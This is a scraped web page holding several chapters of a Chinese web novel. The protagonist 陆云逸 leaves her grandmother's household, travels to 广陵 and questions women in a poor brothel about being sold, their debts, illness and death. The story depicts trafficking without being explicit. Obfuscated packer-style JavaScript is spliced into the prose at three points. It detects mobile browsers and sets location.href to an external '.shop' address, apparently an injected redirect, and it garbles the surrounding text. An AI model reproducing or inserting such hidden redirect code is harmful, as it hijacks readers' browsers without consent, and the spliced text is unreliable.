d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579033|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承义道:“小孩子十四五岁,正抽条,哪里胖得起来?” 老太太还是夹了一块酱肉放进陆云逸碗里。 “多吃些,现在天冷。” 陆云逸只好道:“谢谢外祖母。” 朱承义也跟着又夹起一块枣糕,笑道:“云逸,得尝尝这个,我们朱家的秘方枣糕。你娘小时候为这东西跟我打过架。” 老太太道:“那是你抢她的。” “娘,您这心偏了几十年。”朱承义叫屈,“当年明明是我先伸手。” “你手短,怪谁?” 一桌人都笑。 陆云逸也笑着咬了一块枣糕。 枣泥甜,糕软,带一点热气。她咬了一口,忽然想起路上那些冻硬的炊饼。这样一块热枣糕入了口,身上像也跟着暖了一点。 旁边两个孩子盯着盘中最后几块枣糕。 一个小姑娘先伸筷子,男孩也伸过去,两双筷子碰在一起。 男孩小声道:“我先。” 小姑娘道:“我先看见。” 大舅母咳了一声。 两个孩子立刻收手。 陆云逸看得好笑,把自己碟中那半块枣糕分成两份,递给他们。 “你们一人一半。” 男孩小声道:“谢谢……舅舅。” 小姑娘跟着喊:“谢谢舅舅。” 陆云逸这回没忍住,笑了出来。 老太太也笑:“辈分乱就乱些。反正都是自家孩子。” 饭吃到一半,大舅母说起家里一个表姑娘的亲事。那姑娘年纪到了,男方是本地读书人家,家境清白,只是母亲性子强,朱家还在犹豫。 老太太听了半晌,说:“那孩子性子软,嫁过去得吃亏。” 大舅母道:“我也是这样想。男方读书倒好,人看着也温和。” “日子不是只同男人过。”老太太放下筷子,“婆母、小姑、妯娌、柴米油盐,哪样不磨人?” 桌上年轻妇人都静静听着。 朱承义笑道:“娘,您当年给珍珍看亲事时,可也这么挑?” 老太太看他一眼。 “你姐姐那门亲,我何曾挑得了?” 朱承义的笑淡下去。 老太太却没避开这话。 “明亲王那样的人家,外头看是天大的富贵。可富贵人家的门,一旦进去,想出来就难。珍珍性子野,偏偏又心热。她走南闯北说自己快活,我信。可她吃了多少苦,她不肯告诉我。” 陆云逸低头喝汤。、 老太太转头看向她。 “云逸,你年纪还小。可你是王府世子,往后给你说亲的人少不了。婚事这东西,旁人看门第,看嫁妆,看脸面,可你自己是找跟你一起过日子的人。成亲就像过一条河,河深河浅,都要自己走进去才知道。” 陆云逸握着汤匙,半晌才道:“我记住了。” 老太太笑了笑。 “记着就好。十四岁,早着呢。别急。” 陆云逸握着汤匙,心里很暖,又有一点说清的涩。 饭后,老太太精神短了些,却还拉着陆云逸说了半晌话。问她在京里读什么书,问皇帝待她可严,问明亲王回府多不多。问到萍儿时,老太太点了点头。 “萍儿那孩子,我听珍珍信里提过。她若待你好,我心里也安。” 陆云逸道:“干妈待我极好。” “那你记得孝顺她。”老太太说,“人生在世,谁养你,谁疼你,心里要有数。” 傍晚,朱承礼送她去客房。 东厢房早已收拾好,窗外是一株石榴树,冬日里枝条空着。屋里铺着厚褥,桌上放着热水和点心。 朱承礼站在门口,有些歉意。 “家里人多,今日吵了些。你在王府住惯了,若夜里嫌闹,只管叫人来说。” 陆云逸道:“我喜欢这样。” 朱承礼看着她,笑了笑。 “你娘也喜欢热闹。嘴上嫌我们兄弟两吵,真让她一个人坐着,她又要跑出来找人说话。” 陆云逸问:“母亲小时候,还做过什么?” 朱承礼想了想。 “多了。她爬过这院里的槐树,摔下来摔破膝盖,还威胁我们谁也不许告诉母亲。她替二弟打过架,也因偷偷把书房里的纸拿去糊风筝,被父亲罚抄书。后来进宫陪公主读书,回来便懂事许多。小孩子懂事太早,多半是吃了苦头。” 他说到这里,叹了口气,觉得自己说重了,又笑道:“你今日也累了,早些歇。明日老太太还要见你。” 夜里,朱家一点点安静下来。 可这种安静同王府不同。 院里有人收碗,厨房方向有水声。小孩子被母亲催着睡觉,还讨价还价,说再讲一个故事。老太太屋里有人轻轻咳嗽,丫鬟低声劝她喝水。远处狗叫两声,很快停了。 陆云逸躺在东厢房的床上,听着这些声音。 王府的夜太空,宫里的夜太深。朱家的夜却有柴火、碗盏、咳嗽和孩子的梦话。 那夜历下的风从窗缝里钻进来,带着一点泉水的冷气。 陆云逸裹紧被子,很快睡着了。 49.孤鞍南渡听艳谈 陆云逸在朱家住了三日。 第一日是见人,第二日仍是见人,到了第三日,连后院养的那只黄狗也认得她了。她从老太太屋前经过,那狗原本趴在廊下晒太阳,听见脚步声,抬头看一眼,尾巴在地上扫两下,又懒懒趴回去。 朱家小辈也同她熟了些。 那个头一日叫她“舅舅”的男孩,名字叫朱延昭,刚满十岁,读书坐稳不到半刻,爬树却很快。他起初见陆云逸还有些怯,后来发现这位京里来的“小舅舅”脾气好,便敢往她屋里跑。 临走前一日,他抱着一只木匣子来找陆云逸。 “舅舅。” 陆云逸正在窗下看书,听见这称呼,抬头笑了一下。 “什么事?” 朱延昭把匣子往桌上一放,郑重其事地打开。 里头是一堆石子、两枚鸟蛋壳、一截干树枝,还有半块裂了的玉坠。那玉坠成色普通,裂口处发白。 “这是我的宝贝。”朱延昭说,“给你挑一个。” 陆云逸看着那一匣子东西,沉默片刻。 “都很贵重。” 朱延昭点头:“当然。” 他指着那截干树枝说:“这个像剑。这个鸟蛋壳是我在后墙那边捡的。这个石子像元宝。这个玉坠是我娘摔坏的,我偷偷捡了。” 陆云逸最后挑了那枚像元宝的石子。 朱延昭满意地把石子递给她。 “你以后还来吗?” “来。” “什么时候?” 陆云逸一时答不上来。 朱延昭看她这样,便故作老成地叹了口气:“大人都这样,说来,后来就忙。” 陆云逸笑道:“我只比你大几岁,还不是大人呢。” “你辈分已经很大了。” 陆云逸被他逗笑。 朱延昭也跟着笑,笑完又说:“祖母说你明日要走。她早上叫厨房做了好多枣糕呢。” 陆云逸低头看着手里的石子。 石子被小孩攥过,带着一点暖意。 第二日清晨,朱家果然早早忙起来。 天还冷,院中水缸边结着薄冰。厨房方向冒着白气,丫鬟婆子提着食盒来回走。老太太起得比平日早,披着厚袄坐在榻上,膝上放着手炉。 陆云逸去辞行时,她已经等着了。 “过来。” 陆云逸走到榻前,跪下给她磕头。 老太太伸手扶她:“路上冷,别跪久。” 旁边丫鬟捧来一个包袱。老太太亲自打开,里头放着几包枣糕、一小罐腌梅子、两双新袜,还有一件灰蓝色夹袄。 “这些你带着。” 陆云逸忙道:“外祖母,衣裳我有。” “你有是你的,我给是我的。”老太太把包袱重新系好,“出门在外,手边多一件衣裳,总强过临时找。” 朱承义站在旁边笑:“云逸,你收着吧。老太太给人塞东西,谁也挡不住。” 老太太瞪他:“你当年出门,我也给你塞过。你嫌重,半路叫书童背。回来还说自己一路吃苦。” 朱承义立刻道:“娘,今日云逸走,您给我留点脸。” 屋里人都笑。 老太太却很快又看向陆云逸。 “路上别贪快。若遇上大雪,就在客栈停一日。银钱放贴身处,莫轻易叫人看见。吃饭住店,别图新鲜去乱地方。” 陆云逸应道:“我记住。” 老太太仍握着她的手。 “你娘年轻时,心野得很。别人越说不能去,她越想去看看。你像她,可也别事事都学她。” 陆云逸抬眼。 老太太的目光落在她脸上,像看穿了她心里那点刚离京的躁动。 “外头天地大,乱处也多。你是男孩子,路上要小心,别逞能,被人坑了。” 陆云逸点头:“外祖母放心。” 老太太似乎还想说什么,最后只轻轻拍了拍她的手背。 “去吧。得空写信。” 朱承礼和朱承义送她到大门外。 朱承礼给她一张纸,上头写着从历下往南几处可歇脚的驿铺、客栈,还有两三户朱家旧识。 “都算可靠。真遇上难处,拿朱家的帖子去。” 朱承义则塞给她一只油纸包。 陆云逸问:“这是什么?” “烧鸡。”朱承义压低声音,“你外祖母给的是枣糕,我给你添点肉。路上光吃甜的,人要发腻。” 朱承礼皱眉:“一大早给孩子塞烧鸡。” 朱承义道:“十四岁,正长身体。” 陆云逸捧着那只油纸包,笑着谢过。 朱家门口的老槐树立在风里,枝条上挂着几片枯叶。她翻身上马时,朱延昭从门里冲出来,手里举着什么东西。 “舅舅!” 大舅母在后头喊:“慢些!” 朱延昭跑到马前,把一根细红绳递给她。 红绳上系着一颗小小的铜铃,大约是从旧玩具上拆下来的。 “这个给你,路上响,就当我跟着你。” 陆云逸接过来,系在马鞍旁。 铜铃被风吹动,轻轻响了一声。 “等我下回回来,给你带京城的弹弓。” 朱延昭眼睛一下亮了:“真的?” “真的。” 陆云逸说完,朝众人行了一礼,拨转马头,沿着石板路往巷口去。 她走出很远,回头看了一眼。 朱家门前还站着人。老太太身子受不住风,出来不得,可大舅、二舅、两个舅母和几个孩子都在门口。朱延昭还在冲她挥手,那只小铜铃在马鞍边一下一下响着。 陆云逸把披风拢紧,转回头。 历下的冬天,水气重。出了城,风从河面上来,吹在人脸上,又冷又湿。官道边有还未融尽的雪,泥里夹着冰,马蹄踩上去,声响发闷。 她往南走。 一路上的人渐渐多起来。商队赶着骡车,车上盖着油布,有些是布匹,有些是茶叶。走水路的人也多,路边客栈里常能遇见从广陵来的客商。他们说话声音大,吃饭时爱点酒,几杯下去,便开始谈广陵的事。 陆云逸第一次听见“广陵的夜”这四个字,是在一间临河小店里。 那天傍晚落了小雪,雪粒细小,打在窗纸上沙沙作响。店堂里坐了七八桌人,火盆摆在正中,炭火烧得发红。陆云逸坐在角落,面前一碗热面,面上浮着几片青菜。 隔壁桌三个男人喝得正热。 一个穿皮袄的商人说:“你们说广陵的好,白日看水,夜里看灯。可真要说好,还得看楼。” 另一个笑道:“你这话,听着就不正经。” “正经人也去。”皮袄商人夹了一筷子肉,“你以为都是什么脏地方?广陵那些大楼,琴棋书画,诗酒茶香,比许多书院还讲究。清倌人弹一曲,十两银子都未必请得动。” 第三人摇头:“啧啧,别光看那些有名的。底下那些呢?巷子里那些小窑子,进去出来,身上都一股霉味。” 皮袄商人笑道:“各有各的价。腰包厚的听曲,腰包薄的睡人。天下买卖,不都这样?” 几个人笑起来。 陆云逸手中的筷子停了一下。 她在京里见过许多歌舞。 宫宴上有女乐,丝竹声一响,穿彩衣的女子从屏风后出来,步子轻,袖子长,低头时看着温顺。宗室宴席里也有歌伎,能唱曲,能作诗,遇见贵人赏赐,旁人还说一句风雅。那些女子站得远,像宴席上的花、灯、香炉一样,是体面的一部分。 可这一桌男人说起广陵的楼,语气与京中不同。 陆云逸低头吃面。 面汤很热,姜味重。她吃完时,隔壁桌的人已经换了话题,说起某个船帮今年赚了多少银子。刚才那些“清倌”“小窑子”“价格”,像几粒盐,落进汤里,很快化开,旁人半点也未挂在心上。 又走了几日,天气稍稍松动。路边雪少了,河面开了。船只在水上往来,帆影灰白。越近广陵,路上胭脂水粉的味道也多了起来。挑担的货郎卖绢花,商铺门前挂着彩色布匹,年轻妇人结伴买线,行船的汉子在码头边吆喝。 广陵城到了。 这座城同历下全然不同。 历下的水清,声也清。广陵的水阔,船多,码头上货物一层层堆着,木箱、麻袋、竹筐、酒坛,人从缝里穿过去,像鱼在水草里游。街上铺子挨着铺子,茶楼高,酒肆亮,布庄门前挂着各色绸缎。卖花的小姑娘提着篮子,见人就问买不买花。书铺门口站着几个读书人,争一册新刻的诗集,声音比卖鱼的还高。 陆云逸牵马进城,先找了一家靠近河边的客栈。 掌柜见她衣料好,年纪轻,立刻笑得亲切。 “公子住上房?临水的还有一间,推窗就能看河。” 陆云逸要了那间。 房间干净,窗下就是河。河边泊着几条小船,船篷上还带着水珠。对岸有酒楼,午后已经挂上灯笼。冬日天暗得早,灯笼一点起来,河面便有了影子。 她在广陵住下。 头两日,她只是到处看看。 白日去码头,看船夫搬货。去布庄,看伙计把一匹匹绸缎展开,像把水光摊到柜上。去书铺,买了两本地方志和一本诗集。傍晚坐在茶楼临窗的位置,看桥上行人来往。 这城里处处有买卖。 一碗汤有价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云逸看着窗外。 桥上的鱼灯已经走远了。河面上只剩灯影摇晃。 “广陵这样的地方,也有那种巷子?” 伙计愣了一下,像觉得这话问得有些孩子气。 “嘿,公子,越热闹的地方,越有那种巷子。白日里这船来船去的,银子跟水一样流。到夜里总有人想花,也总有人等着被花。” 陆云逸没有立刻说话。 伙计低头把空盆收好。 “公子若要出门,小的给您备灯。河边夜市还好,东边巷子路窄,地上滑,您一个人去,仔细脚下。” 陆云逸道:“我知道了。” 伙计应了一声,退了出去。 门合上后,屋里只剩河声。 陆云逸仍站在窗前。对岸酒楼里传出丝竹声,隔着水,听不真切。更远处的灯街红得发暗,像一条低伏在城里的火线。 第三日夜里,雪停了,风小。 陆云逸换了一身不太显眼的青衣,腰间挂着钱袋,出了客栈,照着白日记下的方向,往东边巷子走。 越往里走,街上的灯越低。 大楼那边有琴声,有笑语,有穿绸衣的客人和打扮齐整的小厮。往东转过两条巷,路面便窄了。灯笼旧,风一吹,纸面鼓起来。墙根下积着脏雪,化了又冻,踩上去滑。巷口有个卖馄饨的摊子,锅里热气翻滚,两个醉汉蹲在旁边吃,边吃边笑。 再往里,门上挂着红布的屋子多起来。 有人倚在门边招呼客人,脸上粉厚,衣裳薄。一个女人看见陆云逸,眼睛一亮,立刻笑着走上前。 “公子头回来?” 她声音甜,眼神却快,从陆云逸的衣料扫到腰间钱袋,再扫到她的脸。 陆云逸停住脚。 女人笑得更亲近:“别怕呀。进来坐坐,喝杯热酒。外头冷。” 陆云逸看着那扇半掩的门。 门里灯光昏黄,传出酒味、脂粉味,还有一阵低低的咳嗽声。 她原本只是想看看。 可人已经站在门口,退回去反倒像露怯。 陆云逸伸手,按了按腰间钱袋。 “好。” 女人立刻笑开,伸手替她掀开帘子。 “公子里面请。” 帘子落下时,外头的冷风被隔在身后。 屋里热,气味也重。陆云逸抬眼,看见一张张涂着脂粉的脸转过来,笑意从她们脸上浮起,熟练,又带着一点审量。她忽然意识到,自己这一脚踏进去,便变成了她们今晚要招呼的客人。 50.矮灯浊巷问残欢 屋里比外头窄得多。 陆云逸刚进门,便被热气和气味一同裹住。那热气不是炭火烘出来的暖,而是许多人挤在一处久了,酒味、汗味、脂粉味、旧被褥的霉味混出来的闷。墙上挂着两盏油灯,灯芯没有剪好,火苗一跳一跳,把屋里的影子照得又短又乱。 这地方同她在京里见过的歌舞席面完全不同。 那里有屏风,有丝竹,有端着酒盏说风雅的男人,也有低眉唱曲的女子。这里没有曲,没有茶,也没有半分遮掩。屋子中央放着几条旧板凳,桌面上有酒渍,地上丢着瓜子壳和几团皱纸。最里头用几块褪色布帘隔出小间,帘子下摆脏得发黑。 她一进来,屋里几个女人都转过头。 有个年纪稍大的女人坐在桌边,脸上的粉扑得厚,嘴唇抹得红。她先看陆云逸的脸,又看她的衣裳,最后目光落到腰间钱袋上。 “哟,来个嫩的。” 旁边立刻有人笑。 “公子头一回来吧?瞧这脸,红都还没红明白。” 方才在门口拉她的女人把帘子放下,挽住她的胳膊往里带。 “别站着呀,进来坐。外头风大,屋里暖。” 她说暖,陆云逸却觉得这屋里叫人喘不过气。 一个穿石榴红旧袄的女人凑过来,伸手就去摸她袖口。 “料子好。小公子是富家来的?” 陆云逸下意识退了一步。 那女人便笑起来:“哎哟,怕什么?到了这儿,还藏着掖着?” 另一个女人更直接,手已经摸到她腰间钱袋边。 陆云逸一把按住。 那女人也不恼,反而冲旁边喊:“王妈妈,这个有钱。” 桌边年长女人站起来。 她大约就是这里管事的。别人叫她王妈妈,她也受得很自然。她走路时脚步拖着,身上披了件青色棉袄,领口油亮。她走到陆云逸面前,眼珠子上下转了转,笑得露出几颗发黄的牙。 “公子别怕。咱们这里规矩简单,有钱就成。想要哪个?挑一个。挑好了先交钱,别耽误姑娘们做活。” 王妈妈拍了拍手。 “都过来,叫公子瞧瞧。” 几个女人便半推半笑地围上来。 说是瞧,其实也没有什么排场。有人把衣领往下扯了扯,有人捏着帕子往陆云逸脸上扫,有人干脆坐到她身边,膝盖挨着她的膝盖。她们脸上都带笑,笑得陆云逸心里发毛。 陆云逸坐在板凳上,背僵得很直。 红袄女人看出来,笑道:“真是头一回。公子,别坐得跟进学堂似的。” 旁边又是一阵笑。 王妈妈却有些不耐烦。 “笑什么笑?人家公子愿意来,是给你们饭吃。”她转头看陆云逸,“公子挑哪个?” 陆云逸看了一圈。 她记不住这些人的名字。有人叫香儿,还是杏儿;有人年纪看着比她还小,脸上却涂着很厚的粉。她们都在看她,像看一只误落进屋里的鸟,也像看一只钱袋。 最后,还是方才门口拉她进来的女人坐到她身边。 “公子就要我吧。”她挽着陆云逸的袖子,朝王妈妈笑,“我接进来的。” 王妈妈伸手:“钱。” 陆云逸问:“多少?” 鸨母眯起眼。 她大概早看出陆云逸是生客,开口便报了个高价。 “半两银子。” 旁边小个子姑娘立刻笑了一声。 鸨母瞪她。 陆云逸听出这价大约有虚,却也懒得拆。她从钱袋里取出一块碎银,放到桌上。 王妈妈眼睛立刻亮了,拿到手里掂了掂,又用牙咬了一下。 “成。”她朝那女人抬了抬下巴,“桃枝,好生伺候。别磨蹭,后头还有客。” 桃枝拿了银钱的眼神也亮了些,拉着陆云逸往里头布帘后走。 “来,公子这边。” 布帘后的小间很窄。 一张木榻,一床旧被,一只矮凳。墙角放着一只破盆,盆里还有半盆凉水。榻边挂着一盏小油灯,灯光黄,照得人的脸也黄。布帘隔音很差,外头谁笑、谁骂、谁咳嗽,都能听见。 桃枝坐到榻边,伸手就要解陆云逸的衣带。 陆云逸按住她的手。 桃枝愣了一下,随即笑了。 “公子怕呀?” “我想问你几句话。” 桃枝眨了眨眼,像没听明白。 “问话?” “嗯。” 她看着陆云逸,忽然笑得更厉害。 “公子,你花钱进来,就为了问话?” “可以吗?” 桃枝歪头看她,目光又落到她腰间钱袋上。 “可以是可以。只是问话也算时辰。公子要慢慢问,就再添些。” 陆云逸又取出一块碎银,放到她手里。 桃枝立刻把银子塞进袖口,脸上的笑真切了些。 “问吧。” 她嘴上这样说,身子却仍往陆云逸身边靠。陆云逸往旁边让了让,桃枝也不在意,懒懒坐在榻上,把脚上的绣鞋踢了踢。 “公子想问什么?问我几岁?哪里人?有没有相好?” “你几岁?” 桃枝愣住,随即笑了。 “还真问啊。” “你不想说也可以。” “有什么不能说。”桃枝把头发往后一拨,“楼里说我十六,其实快二十了。客人爱听年纪小的,王妈妈就叫我往小了说。” 陆云逸问:“你什么时候来的这里?” “记不清了。”桃枝说得很快,“十来岁吧。先在别处,后来转到这儿。公子问这个做什么?听了也没意思。” “是谁送你来的?” “送?”桃枝像听见好笑的话,“公子说得真好听。有的是爹娘卖,有的是男人骗,有的是牙婆拐。有的自己走投无路,进来先吃口饭。谁送谁来,过几年都差不多。” 她说这话时,手指一直捻着袖里的银子,像怕那银子长脚跑了。 陆云逸又问:“你们每日要见多少客?” 桃枝脸上的笑淡了一点。 “看日子。过节多,船靠岸多,外头酒楼散席后多。少的时候三五个,多的时候……”她顿了顿,“公子,你问这个干什么?你又不是真的官差。” “我只是想知道。” “知道了又怎样?”桃枝往外头看了一眼,“你们这些人就爱劝娼从良。出了门,风一吹,明日照样喝茶听曲。” 陆云逸没有反驳。 她问:“银子都归你们吗?” 桃枝这回直接笑出了声。 “公子,你真是头一回。银子进了王妈妈手里,还能全到我们手里?屋钱、饭钱、衣裳钱、脂粉钱,生病吃药也记账。客人赏得多,能留点;赏得少,一晚上白忙。” “你们能攒钱走吗?” 桃枝看着她,笑意一点点收住。 “能啊。” 陆云逸抬眼。 桃枝又笑了。 “公子给我三十两,我今晚就能赎身。再给我一处屋子,给我换个良籍,给我找个没人认得我的地方,给我一份能吃饭的活计。再叫那些老客别找我,牙婆别盯我,街坊别骂我。这样我就能走。” 她伸手拍了拍陆云逸的袖子。 “公子,你有吗?” 陆云逸沉默。 桃枝见她这样,反倒又恢复了先前那副笑脸。 “瞧,我就说,问这些没意思。” 外头有人掀帘子喊:“桃枝,磨蹭什么呢?” 桃枝立刻冲外头回:“急什么?公子给了钱的。” 外头那人嘟囔两句,帘子放下。 桃枝转回头,看着陆云逸。 “公子还问吗?快些问。春宵一刻值千金呐。” 陆云逸抬眼:“这句诗原本不是这个意思。” 桃枝愣了一下,随即笑了。 “呦,公子还要教我念诗?” 陆云逸道:“春夜难得,花香月好,所以应该珍惜时光,不是单指…” 她话说到一半,自己先停住了。 桃枝看着她,眼里笑意更浓。 “不是单指什么?” 陆云逸脸红了,没有接话。 桃枝往前凑了些,故意压低声音:“我可没说新婚夜,公子自己说的。” 陆云逸耳根有些热。 桃枝笑得肩膀都抖了一下。 “不过公子要这样说,倒也合适。来这种地方,客人都当自己花了钱,便有一夜新婚。只不过我们这儿的新婚短些,新郎新娘也换的快。” 她说完,又把手伸到陆云逸袖边,像方才那点玩笑已经够了。 “公子问吧。再不问,王妈妈真要来催了。” 陆云逸看着她。 桃枝脸上还挂着笑,眼底却有一点倦。 陆云逸问:“若…若你们病了呢?” “病轻了照样接客。病重了躺两日,药钱记账。若病得起不来,王妈妈就骂赔钱货。”桃枝说得随意,,“上个月后院那个小翠,咳得见血,还是接了两个客。后来人没了,王妈妈叫人拿草席卷出去。听说扔到城外义地了。” 陆云逸的手慢慢攥紧。 桃枝看见了,眼神动了动。 她靠近些,声音压低。 “公子,你是不是心疼我呐?” 陆云逸看着她。 桃枝笑了一下,像终于找到这笔买卖里还能多榨出一点的地方,她拉住陆云逸的手按在自己胸口上。 “你若心疼我,就给我赎身。” 她说得很顺口。 “我会伺候人,也会洗衣做饭。公子家里若缺个丫鬟,也能带我回去。我不闹,不惹事。只要不把我送回来,叫我做什么都行。” 陆云逸看着她。 这句话落在小小的布帘后,比外头那些笑声更闷。 桃枝见她没说话,又往前凑了凑。 “公子嫌我脏?” “不是。” “那就是嫌贵。”桃枝笑了,“也对,三十两买我不值。我这样的,年纪也不上不下,脸也算不得顶好。若再熬几年,王妈妈都懒得给我上粉。” 陆云逸说:“你若出去,想做什么?” 桃枝一怔。 她没想到陆云逸会这样问。 “做什么?”她重复了一遍,眼神空了一瞬,很快又笑起来,“做个好人家的娘子呗。公子把我赎出去,再娶我?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584490|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说完自己先笑,笑里带着试探,也带着一点故意的轻浮。 陆云逸道:“我是认真问你。” 桃枝看了她一会儿。 外头又有人在笑,笑声混着男人的骂声。隔壁帘子后传来咳嗽,接着有人催:“快点,别装死。” 桃枝脸上的笑慢慢淡下去。 “我不知道。” 她说得很低。 “我从小就没自己过过日子。小时候听爹娘的,后来听牙婆的,再后来听鸨母的。客人进门,听客人的。你问我出去做什么,我真不知道。” 她抬起头,又恢复那副笑。 “所以啊,公子别问了。问到最后,我还得哭给你看。哭也算时辰哦。” 过了片刻,她忽然凑近,压低声音:“公子,你身子有病?” 陆云逸愣住。 桃枝见她这样,反而笑了:“没病你来这儿花钱听我说废话?那你就是胆小。” 陆云逸喉咙像被什么堵住。 她从钱袋里又取出一块碎银,放在桌边。 桃枝立刻看向那银子。 陆云逸说:“今日不必做别的。我坐一会儿。” 桃枝伸手把银子拿起来,动作快得像怕她反悔。 “公子爱坐就坐。”她把银子塞好,“你这样的客人,我倒是愿意天天接。” “为何?” “给钱多,话虽怪,也不打人。”桃枝笑道,“人还干净。” 陆云逸不知道该接什么。 桃枝站起来,理了理头发。 “我给公子倒杯酒?” “不用。” “那我唱两句?我唱得不好,公子别嫌。” “不用。” 桃枝看着她,叹了一口气。 “那公子坐吧。我眯一会儿成吗?昨夜没睡好。” 陆云逸点头。 桃枝便靠在榻边,闭上眼。她脸上的粉在灯下显得很厚,眼角有一点细纹,嘴唇上的红也有些花。闭眼之后,她看着比方才安静许多,也疲惫许多。 外头又来了客人。 王妈妈的嗓门响起来:“进来呀,站门口做什么?姑娘都有,银子先拿出来。” 有女人笑,有男人说脏话,有人咳嗽,有人在催。 陆云逸坐在狭小的隔间里,手指按在袖中那枚朱延昭送她的石子上。石子硬,硌着指腹。 她默默地想着些有的没的。 门帘忽然被人掀起一角。 王妈妈探进头来,看见桃枝靠着睡,立刻骂道:“懒骨头,客还在呢!” 桃枝惊醒,忙坐起来。 陆云逸道:“是我让她歇着。” 王妈妈看了看陆云逸,又看了看桌边放着的碎银,脸上的怒气立刻换成笑。 “公子真会疼人。那也别坐太久,后头还有客等着。” 陆云逸起身。 桃枝也站起来,扶着她往外走。 “公子下回来,还找我啊。”她说这话时,声音又甜起来,像方才那些疲惫只是灯影里的一点错觉。 陆云逸走到门口,停了一下。 “你叫桃枝?” 桃枝愣了愣,笑道:“楼里这样叫。” “原来的名字呢?” 桃枝脸上的笑僵了一瞬。 她想了想,说:“忘了。” 这两个字说得很快。 不知是她真忘了,还是她已经懒得记起。 王妈妈在旁边催:“公子慢走。下回带朋友来啊。” 帘子掀开,冷风一下灌进来。 陆云逸走出门,站在巷子里。外头雪后的地上结着碎冰,脚下一踩,发出细小的裂声。巷子口的馄饨摊还冒着热气,两个醉汉已经走了,只剩摊主低头收碗。 她回头看了一眼。 那扇门又半掩起来。红布在风里抖了抖,很快贴回门框。屋里笑声照旧,咳嗽声也照旧。 她在门外站了一会儿,才慢慢往客栈走。 这夜之后,她又去过那条巷子几回。 有时是桃枝接待她,有时换成别人。有个女人叫香娘,喜欢问她要胭脂钱;有个叫杏儿,嗓子哑,说话总像刚哭过;还有一个年纪很小,楼里叫她小翠,可桃枝说先前那个小翠已经死了,这个是后来补上的。 这些名字,陆云逸后来大多记不清。 她只记得那些屋子都很窄,灯都不亮,女人们笑起来都像赶着交差。她问她们从哪里来,怎么进的楼,一夜要见多少人,银子能留多少,病了怎么办,老了怎么办。 她们起初笑她,后来烦她,再后来把她当成一个怪客。 怪归怪,给钱痛快,又不折腾人。 于是她们仍愿意接她。 而那时的陆云逸,还只是问。 她把一切听在耳中,记在心里,却没有伸手。因为每当有人半真半假地求她赎身,她便会想起桃枝那一串话。 出去以后呢? 住哪里,吃什么,靠谁活,凭什么不被人再拖回去? 这些问题,她一个也答不出。 所以她只是一次又一次从那道低矮的门里走出来,回到河边客栈,洗去衣袖上的脂粉气。 窗外河水流着,远处广陵灯火很亮。 51.债火烧楼哭旧恩 陆云逸停了几日没去东边巷子。 倒也不是下了什么决心。 广陵连着落雨,冬雨比雪更难受,细细密密地往人衣领里钻。河边石阶湿滑,客栈门口的灯笼被雨打得贴在竹篾上,伙计一边收伞一边骂天气,说这样的雨最坏生意,船不走,货不卸,连酒楼里的客都少一半。 陆云逸便留在客栈里看书。 地方志翻了两遍,诗集翻得慢些。她还买了一本广陵旧俗的小册子,里头写灯会、船市、盐商、绸缎行,也写花街柳巷。写到花楼时,文字雅得很,什么“弦歌彻夜”“画舫流香”“才子题扇”。陆云逸读着那些句子,眼前却总浮出桃枝靠在旧木榻边闭眼的样子。 粉厚,唇红,眼角有细纹。 还有拉住她手时柔软的触感。 雨停那日,天色仍阴。 客栈伙计给她送热水时,随口说:“公子,这几日东边巷子闹得厉害,您若要出去,别往那头走。” 陆云逸把书合上。 “闹什么?” 伙计把铜壶放下,声音压低:“几家小窑子一块儿出了事。听说是借了利钱,冬里客少,还不上。前日债主带人上门,搬桌子搬凳子,连被褥都往车上扔。昨晚又有牙婆过去,说要接人走。” 陆云逸看着他。 伙计见她神色,忙道:“小的也是听客人说。那地方本来就乱,今日更乱。公子这样的人,还是少沾。” “几家?” “三四家吧。东边最里头那一片。”伙计想了想。。 陆云逸的手指按在书脊上。 她之前去的那家好像就在里头。 伙计还在说:“这事每年都有。冬天难熬,楼里又要给姑娘买衣裳、买药、买脂粉,借了钱,来年客少,利滚利就断了。断了就卖人。年纪小、脸好看的有人抢,年纪大些的就看命了。” 陆云逸站起身。 伙计一愣:“公子要出去?” “嗯。” “这会儿天都快黑了。” 陆云逸取过披风:“我去看看。” 伙计张了张嘴,最后只道:“那公子带把伞。这几天地滑地很。” 陆云逸出了客栈。 雨虽停了,街面仍湿。河水涨了一点,岸边系着几条空船。往日热闹的酒楼早早点灯,灯影落在水里,看着比前几日淡。她沿着熟路往东走,越走,街上的人越少。 到了那条巷子口,馄饨摊还在。 摊主认得她,见她要往里走,抬了抬头。 “公子,今儿里头乱。” 陆云逸停下。 摊主用勺子搅了搅锅里的汤:“讨债的刚走,牙婆还在。您若找乐子,明日换条街吧。” “王妈妈那家呢?” 摊主看了她一眼,似乎明白了些什么。 “门都快拆了。” 陆云逸没再问,抬脚往里走。 巷子里的灯少了许多。 往日门口挂着红布、红灯的屋子,有几家已经黑着。地上散着碎木片和破纸,雨水把脂粉冲成一片淡红,沿着墙根往下流。有人把桌椅搬到门口,正在往车上装。两个打手模样的男人站在旁边,一边啃饼一边骂人慢。 一间屋子里传来女人哭声。 另一边有人吵架。 